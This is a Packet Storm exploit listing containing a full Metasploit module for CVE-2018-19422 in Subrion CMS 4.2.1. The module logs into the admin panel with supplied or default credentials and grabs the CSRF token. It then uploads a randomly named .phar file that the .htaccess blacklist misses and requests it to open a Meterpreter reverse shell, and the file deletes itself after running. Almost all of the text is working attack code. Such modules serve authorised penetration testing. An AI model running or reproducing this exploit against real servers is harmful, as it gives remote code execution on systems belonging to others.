Lucene search

K
packetstormFellipe Oliveira, Ismail E. Dawoodjee, Hexife, metasploit.comPACKETSTORM:173998
HistoryAug 04, 2023 - 12:00 a.m.

Intelliants Subrion CMS 4.2.1 Remote Code Execution

2023-08-0400:00:00
Fellipe Oliveira, Ismail E. Dawoodjee, Hexife, metasploit.com
packetstormsecurity.com
104
subrion cms
authenticated file upload
remote code execution
.phar
.htaccess
file upload
meterpreter
exploitdb
cve
github advisory

EPSS

0.855

Percentile

98.6%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::PhpEXE  
include Msf::Exploit::Remote::HttpClient  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Intelliants Subrion CMS 4.2.1 - Authenticated File Upload Bypass to RCE',  
'Description' => %q{  
This module exploits an authenticated file upload vulnerability in  
Subrion CMS versions 4.2.1 and lower. The vulnerability is caused by  
the .htaccess file not preventing the execution of .pht, .phar, and  
.xhtml files. Files with these extensions are not included in the  
.htaccess blacklist, hence these files can be uploaded and executed  
to achieve remote code execution. In this module, a .phar file with  
a randomized name is uploaded and executed to receive a Meterpreter  
session on the target, then deletes itself afterwards.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Hexife', # Original discovery, PoC, and CVE submission  
'Fellipe Oliveira', # ExploitDB author  
'Ismail E. Dawoodjee' # Metasploit module author  
],  
'References' => [  
[ 'EDB', '49876' ],  
[ 'CVE', '2018-19422' ],  
[ 'URL', 'https://github.com/intelliants/subrion/issues/801' ],  
[ 'URL', 'https://github.com/intelliants/subrion/issues/840' ],  
[ 'URL', 'https://github.com/advisories/GHSA-73xj-v6gc-g5p5' ]  
],  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [  
[  
'PHP',  
{  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Type' => :php,  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => '2018-11-04',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(80, true, 'Subrion CMS default port'),  
OptString.new('TARGETURI', [ true, 'Base path', '/' ]),  
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin' ]),  
OptString.new('PASSWORD', [ true, 'Password to authenticate with', 'admin' ])  
]  
)  
end  
  
def check  
uri = normalize_uri(target_uri.path, 'panel/') # requires a trailing forward slash  
print_status("Checking target web server for a response at: #{full_uri(uri)}")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri  
})  
  
unless res  
return CheckCode::Unknown('Target did not respond to check request.')  
end  
  
unless res.code == 200 && res.body.downcase.include?('subrion')  
return CheckCode::Unknown('Target is not running Subrion CMS.')  
end  
  
print_good('Target is running Subrion CMS.')  
  
# Powered by <a href="https://subrion.org/" title="Subrion CMS">Subrion CMS v4.2.1</a><br>  
print_status('Checking Subrion CMS version...')  
version_number = res.body.to_s.scan(/Subrion\sCMS\sv([\d.]+)/).flatten.first  
  
unless version_number  
return CheckCode::Detected('Subrion CMS version cannot be determined.')  
end  
  
print_good("Target is running Subrion CMS Version #{version_number}.")  
  
if Rex::Version.new(version_number) <= Rex::Version.new('4.2.1')  
return CheckCode::Appears(  
'However, this version check does not guarantee that the target is vulnerable, ' \  
'since a fix for the vulnerability can easily be applied by a web admin.'  
)  
end  
  
return CheckCode::Safe  
end  
  
def login_and_get_csrf_token(username, password)  
print_status('Connecting to Subrion Admin Panel login page to obtain CSRF token...')  
  
# Session cookies need to be kept to preserve the CSRF token across multiple requests  
uri = normalize_uri(target_uri.path, 'panel/')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri,  
'keep_cookies' => true  
})  
  
unless res && res.code == 200  
fail_with(Failure::Unknown, "#{peer} - Could not access the Subrion Admin Panel page.")  
end  
  
# <input type="hidden" name="__st" value="CA0S3w50vz1zRpdgZl98JAMVrimiXI63lKtxAwyi">  
%r{name="__st" value="(?<csrf_token>[\w+=/]+)">} =~ res.body  
fail_with(Failure::NotFound, "#{peer} - Failed to get CSRF token.") if csrf_token.nil?  
  
print_good("Successfully obtained CSRF token: #{csrf_token}")  
  
print_status(  
"Logging in to Subrion Admin Panel at: #{full_uri(uri)} " \  
"using credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}"  
)  
auth = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'keep_cookies' => true,  
'vars_post' => {  
'__st' => csrf_token,  
'username' => username,  
'password' => password  
}  
})  
  
unless auth && auth.code == 200  
fail_with(Failure::NoAccess, "#{peer} - Failed to log in, cannot access the Admin Panel page.")  
end  
  
%r{name="__st" value="(?<csrf_token_auth>[\w+=/]+)">} =~ auth.body  
unless csrf_token == csrf_token_auth && auth.body.downcase.include?('administrator')  
fail_with(Failure::NoAccess, "#{peer} - Failed to log in, invalid credentials.")  
end  
  
print_good('Successfully logged in as Administrator.')  
return csrf_token  
end  
  
def upload_and_execute_payload(csrf_token)  
print_status('Preparing payload...')  
  
# set `unlink_self: true` to delete the file after execution  
payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.phar"  
php_payload = get_write_exec_payload(unlink_self: true)  
  
data = Rex::MIME::Message.new  
data.add_part(Rex::Text.rand_text_alphanumeric(14), nil, nil, 'form-data; name="reqid"')  
data.add_part('upload', nil, nil, 'form-data; name="cmd"')  
data.add_part('l1_Lw', nil, nil, 'form-data; name="target"')  
data.add_part(csrf_token, nil, nil, 'form-data; name="__st"')  
data.add_part(  
"#{php_payload}\n",  
'application/octet-stream',  
nil,  
"form-data; name=\"upload[]\"; filename=\"#{payload_name}\""  
)  
data.add_part(Time.now.getutc.to_i.to_s, nil, nil, 'form-data; name="mtime[]"')  
  
print_status('Sending POST data...')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'panel', 'uploads', 'read.json'),  
'keep_cookies' => true,  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data.to_s  
})  
  
unless res && res.code == 200  
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to upload PHP payload.")  
end  
payload_uri = normalize_uri(target_uri.path, 'uploads', payload_name)  
  
print_good("Successfully uploaded payload at: #{full_uri(payload_uri)}")  
  
# This execution request returns nil  
print_status("Executing '#{payload_name}'... This file will be deleted after execution.")  
send_request_cgi({  
'method' => 'GET',  
'uri' => payload_uri,  
'keep_cookies' => true  
})  
  
print_good("Successfully executed payload: #{full_uri(payload_uri)}")  
end  
  
def exploit  
csrf_token = login_and_get_csrf_token(datastore['USERNAME'], datastore['PASSWORD'])  
upload_and_execute_payload(csrf_token)  
end  
  
end  
`